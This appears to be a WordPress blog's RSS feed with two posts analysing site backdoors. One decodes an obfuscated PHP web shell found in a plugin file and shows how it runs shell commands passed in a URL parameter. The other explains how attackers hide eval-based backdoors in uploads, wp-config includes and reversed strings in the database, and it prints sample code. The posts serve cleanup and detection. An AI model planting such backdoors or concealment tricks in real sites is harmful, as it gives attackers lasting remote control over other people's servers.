<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Otto on WordPress &#187; backdoor</title>
	<atom:link href="http://ottopress.com/tag/backdoor/feed/" rel="self" type="application/rss+xml" />
	<link>http://ottopress.com</link>
	<description>You have to use an Ottopress to get fresh squeezed Otto.</description>
	<lastBuildDate>Tue, 08 May 2012 17:46:12 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4-beta4-20725</generator>
	<atom:link rel='hub' href='http://ottopress.com/?pushpress=hub'/>
<cloud domain='ottopress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
		<item>
		<title>Decoding a Russian Hacker&#8217;s Code</title>
		<link>http://ottopress.com/2011/decoding-a-russian-hackers-code/</link>
		<comments>http://ottopress.com/2011/decoding-a-russian-hackers-code/#comments</comments>
		<pubDate>Mon, 18 Apr 2011 15:50:03 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Other]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[base64_decode]]></category>
		<category><![CDATA[eval]]></category>
		<category><![CDATA[evil]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[russian]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://ottopress.com/?p=479</guid>
		<description><![CDATA[I was alerted to this tweet by @andrea_r this morning: Uh oh&#8230; This was in wp-content/plugins/akismet/admin.php. http://pastie.org/1806790 #WordPress &#8212; Scott Basgaard (@scottbasgaard) April 18, 2011 Here&#8217;s the code in question: &#60;?php @$str1 = &#34;0cmVhbT1AJF9HRVRbJz&#34; . $HTTPS_ACCEPT_URLENCODING['KOI8-R']; @$str2 = &#34;B4RkYnXTtAc3lzdGVtK&#34; . $HTTPS_ACCEPT_URLENCODING['WIN-1251']; @$str3 = &#34;CRuZXdzdHJlYW0pOw==&#34; . $HTTP_ACCEPT_URLENCODING['UTF-8']; @eval(base 64_decode($_GET['salt'] . $str1 . $str2 . $str3)); ?&#62; [...]]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottopress.com/2011/decoding-a-russian-hackers-code/' send='true' layout='standard' show_faces='true' width='450' height='65' action='recommend' colorscheme='light' font='lucida+grande'></fb:like><p>I was alerted to this tweet by @andrea_r this morning:</p>
<blockquote class="twitter-tweet" width="550"><p>Uh oh&#8230; This was in wp-content/plugins/akismet/admin.php. <a href="http://pastie.org/1806790">http://pastie.org/1806790</a> <a href="https://twitter.com/search/%2523WordPress">#WordPress</a></p>
<p>&mdash; Scott Basgaard (@scottbasgaard) <a href="https://twitter.com/scottbasgaard/status/59950250563092480" data-datetime="2011-04-18T12:03:48+00:00">April 18, 2011</a></p></blockquote>
<p><script src="//platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>Here&#8217;s the code in question:</p>
<pre class="brush: php; notranslate">
&lt;?php
@$str1 = &quot;0cmVhbT1AJF9HRVRbJz&quot; . $HTTPS_ACCEPT_URLENCODING['KOI8-R'];
@$str2 = &quot;B4RkYnXTtAc3lzdGVtK&quot; . $HTTPS_ACCEPT_URLENCODING['WIN-1251'];
@$str3 = &quot;CRuZXdzdHJlYW0pOw==&quot; . $HTTP_ACCEPT_URLENCODING['UTF-8'];
@eval(base 64_decode($_GET['salt'] . $str1 . $str2 . $str3));
?&gt;
</pre>
<p>Decoding this is a rather simple matter. First, we remove the eval line and do a var_dump on the variables. We get this:</p>
<pre class="brush: plain; notranslate">
&gt;php test.php
string(19) &quot;0cmVhbT1AJF9HRVRbJz&quot;
string(19) &quot;B4RkYnXTtAc3lzdGVtK&quot;
string(19) &quot;CRuZXdzdHJlYW0pOw==&quot;
</pre>
<p>Notice that the HTTP_ACCEPT_URLENCODING mess is a red herring. It&#8217;s there to make it look more legit, sort of thing.</p>
<p>So now we have this string: &#8220;0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==&#8221;. Unfortunately, it is incomplete. Note the &#8220;salt&#8221; parameter being used in the eval(base 64_decode()) line. </p>
<p>Well, a bit of searching turned up the fact that the salt is supposed to be &#8220;JG5ld3N&#8221;. So somebody can send a ?salt=JG5ld3N parameter in an HTTP request and get the following string to decode: &#8220;JG5ld3N0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==&#8221;.</p>
<p>So we run that through a base64 decoder and get this:</p>
<pre class="brush: php; notranslate">
$newstream=@$_GET['0xFF'];@system($newstream);
</pre>
<p>So it&#8217;s just performing a system call on whatever comes in via the 0xFF parameter. Ah ha! It&#8217;s a shell backdoor. I can make a hit to example.com?salt=JG5ld3N&#038;0xFF=**any-command-I-want** and have it execute it in the shell.</p>
<p>Fortunately, this is not a particularly well hidden example. The use of &#8220;eval&#8221; and &#8220;base 64_decode&#8221; is a dead giveaway, as is the use of unchecked $GET parameters.</p>
<p>Most likely, Scott got hacked through either bad permissions on a shared server or somebody got ahold of his FTP credentials somehow. It&#8217;s hard to say without seeing his server logs, but checking through all files on the system is probably a good idea. </p>
<p>As always, the <a href="http://codex.wordpress.org/FAQ_My_site_was_hacked">Codex has some good suggestions</a>.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F9c&count=vertical&related=otto42%2Cottodestruct&text=Decoding a Russian Hacker&#039;s Code' class='twitter-share-button' data-text='Decoding a Russian Hacker&#039;s Code' data-url='http://otto42.com/9c' data-counturl='http://ottopress.com/2011/decoding-a-russian-hackers-code/' data-count='vertical' data-via='ottodestruct' data-related='otto42,ottodestruct'></a><span class="fb_share"><fb:like href="http://ottopress.com/2011/decoding-a-russian-hackers-code/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottopress.com/2011/decoding-a-russian-hackers-code/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottopress.com/2011/decoding-a-russian-hackers-code/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
	
	</item>
		<item>
		<title>How to find a backdoor in a hacked WordPress</title>
		<link>http://ottopress.com/2009/hacked-wordpress-backdoors/</link>
		<comments>http://ottopress.com/2009/hacked-wordpress-backdoors/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 22:27:48 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Rants]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[hack]]></category>

		<guid isPermaLink="false">http://ottopress.com/?p=41</guid>
		<description><![CDATA[Originally posted here: http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/ Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found. In so doing, it occurred to me that [...]]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottopress.com/2009/hacked-wordpress-backdoors/' send='true' layout='standard' show_faces='true' width='450' height='65' action='recommend' colorscheme='light' font='lucida+grande'></fb:like><p>Originally posted here: <a href="http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/">http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/</a></p>
<p>Over <a href="http://jungleg.com/2009/09/21/feeling-secure-with-the-latest-wordpress-version-think-again-and-7-tips-to-secure-it/">here</a>, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some <a href="http://friendfeed.com/jungleg/5e3b8b40/feeling-secure-with-latest-wordpress-version">minor back and forth on FriendFeed</a>, I got him to do a search which found a malicious backdoor he might not otherwise have found.</p>
<p>In so doing, it occurred to me that most people don&#8217;t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I&#8217;d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.</p>
<p>Non-technical users can safely ignore this post. <img src='http://ottopress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<span id="more-41"></span></p>
<p>What&#8217;s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.</p>
<p>However, let&#8217;s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It&#8217;s also time-consuming. But, if you don&#8217;t have regular backups, you may have no real choice.</p>
<p>First, the obvious stuff:</p>
<ul>
<li>A backdoor is code that has been added to your site.</li>
<li>It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.</li>
<li>It will be disguised to seem innocuous, or at least non threatening.</li>
<li>It will most likely involve additions to the database.</li>
</ul>
<p>Let&#8217;s go over these individual points one at a time.</p>
<h3>Added code</h3>
<p>While it&#8217;s true that simple &#8220;backdoors&#8221; often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the <a href="http://us.php.net/eval">eval</a> command.</p>
<p>A simple example would be this:</p>
<pre class="brush: php; notranslate">eval($_POST['attacker_key']);</pre>
<p>This, very simply, executes any PHP code sent to it from a browser.</p>
<p>Of course, they wouldn&#8217;t put this code just anywhere&#8230; It has to not be that easy to find, and it has to survive a normal WordPress upgrade.</p>
<h3>How to hide code</h3>
<p>First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There&#8217;s three obvious places:</p>
<p>1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.</p>
<p>2. Plugins. Plugins are a good place to hide code. People don&#8217;t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.</p>
<p>3. Uploads. Perfect. It&#8217;s explicitly designed to be writable. People don&#8217;t generally see what&#8217;s in the folders, since they&#8217;re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.</p>
<h3>The art of disguise</h3>
<p>This one is easy.</p>
<p>Step 1: Pick a name that looks harmless.</p>
<p>wp-cache.old. email.bak. wp-content.old.tmp. Something you won&#8217;t think of. Remember, it doesn&#8217;t have to end with PHP just because it&#8217;s got PHP code in it.</p>
<p>Step 2: Hide the code itself.</p>
<p>Except in <a href="http://wordpress.org/extend/plugins/php-code-widget/">special circumstances</a>, legitimate code will not use &#8220;eval&#8221;. But, it happens often enough to be generally considered not harmful in and of itself. So looking for &#8220;eval&#8221; is not a good way to find malicious code.</p>
<p>However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is <a href="http://us3.php.net/base64_encode">base64 encoding</a>.</p>
<p>Base 64 encoding lets them disguise their commands to their hidden &#8220;eval&#8221; command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: <a href="http://php.net/base64_decode">base64_decode</a>.</p>
<p>Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There&#8217;s almost never a good reason to use them. Note the &#8220;almost&#8221; there, many plugins (notably the venerable <a href="http://wordpress.org/extend/plugins/google-sitemap-generator/">Google Sitemap Generator</a>) use base64_decode in legitimate ways. So it&#8217;s not exactly a smoking gun, but it is <em>highly</em> questionable for some randomly named file lying around to have that inside it.</p>
<p>Smarter authors realize this, and so have taken steps to hide even that sign&#8230;</p>
<h3>Database obfuscation</h3>
<p>Here&#8217;s a bit of code I&#8217;ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.</p>
<p>Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was <a href="http://us.php.net/manual/en/function.include.php">included</a> at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).</p>
<pre class="brush: php; notranslate">global $wpdb;
$trp_rss=$wpdb-&gt;get_var(
&quot;SELECT option_value FROM $wpdb-&gt;options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'&quot;);
preg_match(&quot;!events or a cale\&quot;\;s\:7\:\'(.*?)\'!is&quot;,$trp_rss,$trp_m);
$trp_f=create_function(&quot;&quot;,strrev($trp_m[1]));
$trp_f();
</pre>
<ol>
<li>It retrieves a value from the WordPress database.</li>
<li>It pulls a specific section of that value out.</li>
<li>It creates a function to run that value as PHP code.</li>
<li>It runs that function.</li>
</ol>
<p>Note how it cleverly avoids all the warning signs.</p>
<ul>
<li>Nowhere does it use &#8220;eval&#8221;.</li>
<li>base64 is not visible at all.</li>
<li>The function named strrev is used. strrev reverses a string. So the code that it&#8217;s pulling out is reversed! So much for looking for &#8220;base64_decode&#8221;.</li>
</ul>
<p>The actual value in the database looked like this:</p>
<pre>...a bunch of junk here...J3byJXZ"(edoced_46esab(lave</pre>
<p>Reverse that. What do you have? Why, it&#8217;s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.</p>
<p>The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.</p>
<p>So, break down how this code works.</p>
<ol>
<li>The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.</li>
<li>That code, which does not use any trigger words, loads a nondescript value from the options table.</li>
<li>It performs some string operations on that code, then executes it.</li>
<li>The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.</li>
</ol>
<h3>Summary</h3>
<p>This is the sort of thing you&#8217;re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I&#8217;ve never seen a hacked WordPress installation that was missing it. Sometimes there&#8217;s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.</p>
<p>And one more thing&#8230; before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn&#8217;t actually hacked already, before you put the latest code on there. If you don&#8217;t fully clean up after a hack, then you *stay* hacked. It&#8217;s not a new hack, it&#8217;s the same one.</p>
<p>The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don&#8217;t know that for sure is really not all that helpful. You&#8217;re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they&#8217;re found. But they can&#8217;t patch code that made it onto your site from some other method, can they? Just something to keep in mind.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F3&count=vertical&related=otto42%2Cottodestruct&text=How to find a backdoor in a hacked WordPress' class='twitter-share-button' data-text='How to find a backdoor in a hacked WordPress' data-url='http://otto42.com/3' data-counturl='http://ottopress.com/2009/hacked-wordpress-backdoors/' data-count='vertical' data-via='ottodestruct' data-related='otto42,ottodestruct'></a><span class="fb_share"><fb:like href="http://ottopress.com/2009/hacked-wordpress-backdoors/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottopress.com/2009/hacked-wordpress-backdoors/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottopress.com/2009/hacked-wordpress-backdoors/feed/</wfw:commentRss>
		<slash:comments>46</slash:comments>
	
	</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using xcache
Object Caching 532/539 objects using xcache

Served from: ottodestruct.com @ 2012-05-17 00:27:43 -->
